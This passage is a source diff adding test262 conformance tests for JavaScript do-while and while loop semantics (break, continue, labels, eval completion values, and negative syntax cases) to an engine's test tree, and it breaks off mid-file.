--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T5.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "break" within a "do-while" Statement is allowed and performed as described in 12.8
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A4_T5.js
+ * @description Using labeled "break" in order to continue a loop
+ */
+
+//CHECK#1
+var i=0;
+woohoo:{
+ do{
+ i++;
+ if ( ! (i < 10) ) {
+ break woohoo;
+ $ERROR('#1.1: "break woohoo" must break loop');
+ }
+ } while ( true );
+ if (i!==10) $ERROR('#1.2: i===10. Actual: i==='+ i );
+}
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A5.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A5.js
new file mode 100644
index 000000000..67bc20de2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A5.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * After "do-while" is broken, (normal, V, empty) is returned
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A5.js
+ * @description Using eval
+ */
+
+__evaluated = eval("do {__in__do__before__break=1; break; __in__do__after__break=2;} while(0)");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__in__do__before__break !== 1) {
+ $ERROR('#1: __in__do__before__break === 1. Actual: __in__do__before__break ==='+ __in__do__before__break );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof __in__do__after__break !== "undefined") {
+ $ERROR('#2: typeof __in__do__after__break === "undefined". Actual: typeof __in__do__after__break ==='+ typeof __in__do__after__break );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__evaluated !== 1) {
+ $ERROR('#3: __evaluated === 1. Actual: __evaluated ==='+ __evaluated );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T1.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T1.js
new file mode 100644
index 000000000..40af77c63
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression in "do-while" IterationStatement is bracketed with braces
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A6_T1.js
+ * @description Checking if execution of "do{} while 1" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+do break; while 1;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T2.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T2.js
new file mode 100644
index 000000000..06fb063ca
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression in "do-while" IterationStatement is bracketed with braces
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A6_T2.js
+ * @description Checking if execution of "do{} while 0" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+do break; while 0;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T3.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T3.js
new file mode 100644
index 000000000..b29c7c83f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T3.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression in "do-while" IterationStatement is bracketed with braces
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A6_T3.js
+ * @description Checking if execution of "do{}while true" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+do break; while true;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T4.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T4.js
new file mode 100644
index 000000000..55b670506
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T4.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression in "do-while" IterationStatement is bracketed with braces
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A6_T4.js
+ * @description Checking if execution of "do{}while false" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+do break; while false;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T5.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T5.js
new file mode 100644
index 000000000..4b0b06202
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T5.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression in "do-while" IterationStatement is bracketed with braces
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A6_T5.js
+ * @description Checking if execution of "do{}while ''" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+do break; while '';
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T6.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T6.js
new file mode 100644
index 000000000..35e96f41e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A6_T6.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression in "do-while" IterationStatement is bracketed with braces
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A6_T6.js
+ * @description Checking if execution of "do{}while 'hood'" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+do break; while 'hood';
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A7.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A7.js
new file mode 100644
index 000000000..78ca8c4ec
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A7.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "do-while" Statement is evaluted according to 12.6.1 and returns (normal, V, empty)
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A7.js
+ * @description Using eval
+ */
+
+var __condition=0
+
+__evaluated = eval("do eval(\"__condition++\"); while (__condition<5)");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__condition !== 5) {
+ $ERROR('#1: The "do-while" statement is evaluted according to the Standard ');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__evaluated !== 4) {
+ $ERROR('#2: The "do-while" statement returns (normal, V, empty)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A8.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A8.js
new file mode 100644
index 000000000..2f7c7e742
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A8.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "continue" statement within a "do-while" Statement is allowed
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A8.js
+ * @description Using eval
+ */
+
+var __condition = 0, __odds=0;
+
+__evaluated = eval("do { __condition++; if (((''+__condition/2).split('.')).length>1) continue; __odds++;} while(__condition < 10)");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__odds !== 5) {
+ $ERROR('#1: __odds === 5. Actual: __odds ==='+ __odds );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__evaluated !== 4) {
+ $ERROR('#2: __evaluated === 4. Actual: __evaluated ==='+ __evaluated );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A9.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A9.js
new file mode 100644
index 000000000..e9e831b07
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A9.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "do-while" Statement is evaluated without syntax checks
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A9.js
+ * @description Throwing system exception whithin a "do-while" loop
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ do {
+ var x = 1;
+ abaracadabara;
+ } while(0);
+ $ERROR('#1: "abbracadabra" lead to throwing exception');
+
+} catch (e) {
+ if (e instanceof Test262Error) throw e;
+}
+
+if (x !== 1) {
+ $ERROR('#1.1: x === 1. Actual: x ==='+ x );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/browser.js b/js/src/tests/test262/ch12/12.6/12.6.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/browser.js
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/shell.js b/js/src/tests/test262/ch12/12.6/12.6.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/shell.js
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A1.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A1.js
new file mode 100644
index 000000000..cb7fff722
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A1.js
@@ -0,0 +1,62 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression from "while" IterationStatement is evaluated first; "false", "0", "null", "undefined" and "empty" strings used as the Expression are evaluated to "false"
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A1.js
+ * @description Evaluating various Expressions
+ */
+
+var __in__do;
+
+while ( false ) __in__do=1;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__in__do !== undefined) {
+ $ERROR('#1: false evaluates to false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+while ( 0 ) __in__do=2;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__in__do !== undefined) {
+ $ERROR('#2: 0 evaluates to false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+while ( "" ) __in__do=3;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__in__do !== undefined) {
+ $ERROR('#3: empty string evaluates to false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+while ( null ) __in__do=4;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (__in__do !== undefined) {
+ $ERROR('#4: null evaluates to false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+while ( undefined ) __in__do=35;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if (__in__do !== undefined) {
+ $ERROR('#5: undefined evaluates to false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A10.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A10.js
new file mode 100644
index 000000000..9a05fe317
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A10.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpression within a "while" IterationStatement is allowed, but no function with the given name will appear in the global context
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A10.js
+ * @description Testing FunctionExpression too
+ */
+
+var check=0;
+while(function f(){}){
+ if(typeof(f) === "function") {
+ check = -1;
+ break;
+ } else {
+ check = 1;
+ break;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (check !== 1) {
+ $ERROR('#1: FunctionExpression inside while construction expression allowed but function not declare');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A11.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A11.js
new file mode 100644
index 000000000..6ff4c779c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A11.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "{}" Block within a "while" Expression is evaluated to true
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A11.js
+ * @description Checking if execution of "while({}){}" passes
+ */
+
+while({}){
+ var __in__do=1;
+ if(__in__do)break;
+};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__in__do !== 1) {
+ $ERROR('#1: "{}" in while expression evaluates to true');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A14_T1.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A14_T1.js
new file mode 100644
index 000000000..f27b9df26
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A14_T1.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpression within a "while" Expression is allowed
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A14_T1.js
+ * @description Using "function __func(){return 0;}" as an Expression
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+while(function __func(){return 0;}){
+ var __reached = 1;
+ break;
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__reached !== 1) {
+ $ERROR('#2: function expression inside of while expression is allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A14_T2.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A14_T2.js
new file mode 100644
index 000000000..cd867ea97
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A14_T2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpression within a "while" Expression is allowed
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A14_T2.js
+ * @description Using function call as an Expression
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+while(function __func(){return 1;}()){
+ var __reached = 1;
+ break;
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__reached !== 1) {
+ $ERROR('#2: function expression inside of while expression is allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A15.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A15.js
new file mode 100644
index 000000000..e1e231dd4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A15.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Block within a "while" Expression is not allowed
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A15.js
+ * @description Expression is "{0}"
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+while({1}){
+ break ;
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A2.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A2.js
new file mode 100644
index 000000000..e3994d474
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A2.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * While evaluating The production IterationStatement: "while ( Expression ) Statement", Expression is evaluated first
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A2.js
+ * @description Evaluating Statement with error Expression
+ */
+
+try {
+ while ((function(){throw 1})()) __in__while = "reached";
+ $ERROR('#1: \'while ((function(){throw 1})()) __in__while = "reached"\' lead to throwing exception');
+} catch (e) {
+ if (e !== 1) {
+ $ERROR('#1: Exception === 1. Actual: Exception ==='+e);
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __in__while !== "undefined") {
+ $ERROR('#1.1: typeof __in__while === "undefined". Actual: typeof __in__while ==='+typeof __in__while);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A3.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A3.js
new file mode 100644
index 000000000..ec8934e8e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When "while" IterationStatement is evaluated, (normal, V, empty) is returned
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A3.js
+ * @description Using eval
+ */
+
+var __in__do;
+
+__evaluated = eval("while (false) __in__do=1;");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+if (__in__do !== undefined) {
+ $ERROR('#1: __in__do === undefined. Actual: __in__do ==='+ __in__do );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__evaluated !== undefined) {
+ $ERROR('#2: __evaluated === undefined. Actual: __evaluated ==='+ __evaluated );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T1.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T1.js
new file mode 100644
index 000000000..5e20d53ba
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T1.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "break" within a "while" Statement is allowed and performed as described in 12.8
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A4_T1.js
+ * @description "break" within a "while" Statement
+ */
+
+while(1===1){
+ __in__do__before__break="reached";
+ break;
+ __in__do__after__break="where am i";
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__in__do__before__break !== "reached") {
+ $ERROR('#1: __in__do__before__break === "reached". Actual: __in__do__before__break ==='+ __in__do__before__break );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof __in__do__after__break !== "undefined") {
+ $ERROR('#2: typeof __in__do__after__break === "undefined". Actual: typeof __in__do__after__break ==='+ typeof __in__do__after__break );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T2.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T2.js
new file mode 100644
index 000000000..616145c02
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T2.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "break" within a "while" Statement is allowed and performed as described in 12.8
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A4_T2.js
+ * @description "break" and VariableDeclaration within a "while" Statement
+ */
+
+do_out : while(1===1) {
+ if (__in__do__before__break) break;
+ var __in__do__before__break="black";
+ do_in : while (1) {
+ var __in__do__IN__before__break="hole";
+ break do_in;
+ var __in__do__IN__after__break="sun";
+ } ;
+ var __in__do__after__break="won't you come";
+};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!(__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&__in__do__after__break)) {
+ $ERROR('#1: Break inside do-while is allowed as its described at standard');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T3.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T3.js
new file mode 100644
index 000000000..a86e95705
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T3.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "break" within a "while" Statement is allowed and performed as described in 12.8
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A4_T3.js
+ * @description "break" and VariableDeclaration within a "while" Statement
+ */
+
+do_out : while(1===1) {
+ if (__in__do__before__break) break;
+ var __in__do__before__break="once";
+ do_in : while (1) {
+ var __in__do__IN__before__break="in";
+ break do_out;
+ var __in__do__IN__after__break="the";
+ } ;
+ var __in__do__after__break="lifetime";
+} ;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!(__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&!__in__do__after__break)) {
+ $ERROR('#1: Break inside do-while is allowed as its described at standard');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T4.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T4.js
new file mode 100644
index 000000000..4dc75f137
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "break" within a "while" Statement is allowed and performed as described in 12.8
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A4_T4.js
+ * @description "break" and VariableDeclaration within a "while" Statement
+ */
+
+do_out : while(1===1) {
+ if(__in__do__before__break)break;
+ var __in__do__before__break="can't";
+ do_in : while (1) {
+ var __in__do__IN__before__break="get";
+ break;
+ var __in__do__IN__after__break="no";
+ } ;
+ var __in__do__after__break="Satisfaction";
+} ;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!(__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&__in__do__after__break)) {
+ $ERROR('#1: Break inside do-while is allowed as its described at standard');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T5.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T5.js
new file mode 100644
index 000000000..46e5b95c7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A4_T5.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "break" within a "while" Statement is allowed and performed as described in 12.8
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A4_T5.js
+ * @description Using labeled "break" in order to continue a "while" loop
+ */
+
+//CHECK#1
+var i=0;
+woohoo:{
+ while(true){
+ i++;
+ if ( ! (i < 10) ) {
+ break woohoo;
+ $ERROR('#1.1: "break woohoo" must break loop');
+ }
+ }
+ if (i!==10) $ERROR('#1.2: i===10. Actual: i==='+ i );
+}
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A5.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A5.js
new file mode 100644
index 000000000..899837466
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A5.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * While using "while" within an eval statement, source "break" is allowed and (normal, V, empty) is returned
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A5.js
+ * @description Using eval
+ */
+
+__evaluated = eval("while(1) {__in__do__before__break=1; break; __in__do__after__break=2;}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__in__do__before__break !== 1) {
+ $ERROR('#1: __in__do__before__break === 1. Actual: __in__do__before__break ==='+ __in__do__before__break );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof __in__do__after__break !== "undefined") {
+ $ERROR('#2: typeof __in__do__after__break === "undefined". Actual: typeof __in__do__after__break ==='+ typeof __in__do__after__break );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__evaluated !== 1) {
+ $ERROR('#3: __evaluated === 1. Actual: __evaluated ==='+ __evaluated );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T1.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T1.js
new file mode 100644
index 000000000..f9a4e9744
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression in "while" IterationStatement is bracketed with braces
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A6_T1.js
+ * @description Checking if execution of "while 1 break" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+while 1 break;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T2.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T2.js
new file mode 100644
index 000000000..b7f61b8b4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression in "while" IterationStatement is bracketed with braces
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A6_T2.js
+ * @description Checking if execution of "while 0 break" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+while 0 break;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T3.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T3.js
new file mode 100644
index 000000000..4b0eaea03
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T3.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression in "while" IterationStatement is bracketed with braces
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A6_T3.js
+ * @description Checking if execution of "while true break" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+while true break;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T4.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T4.js
new file mode 100644
index 000000000..8d17ce8f1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T4.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression in "while" IterationStatement is bracketed with braces
+ *
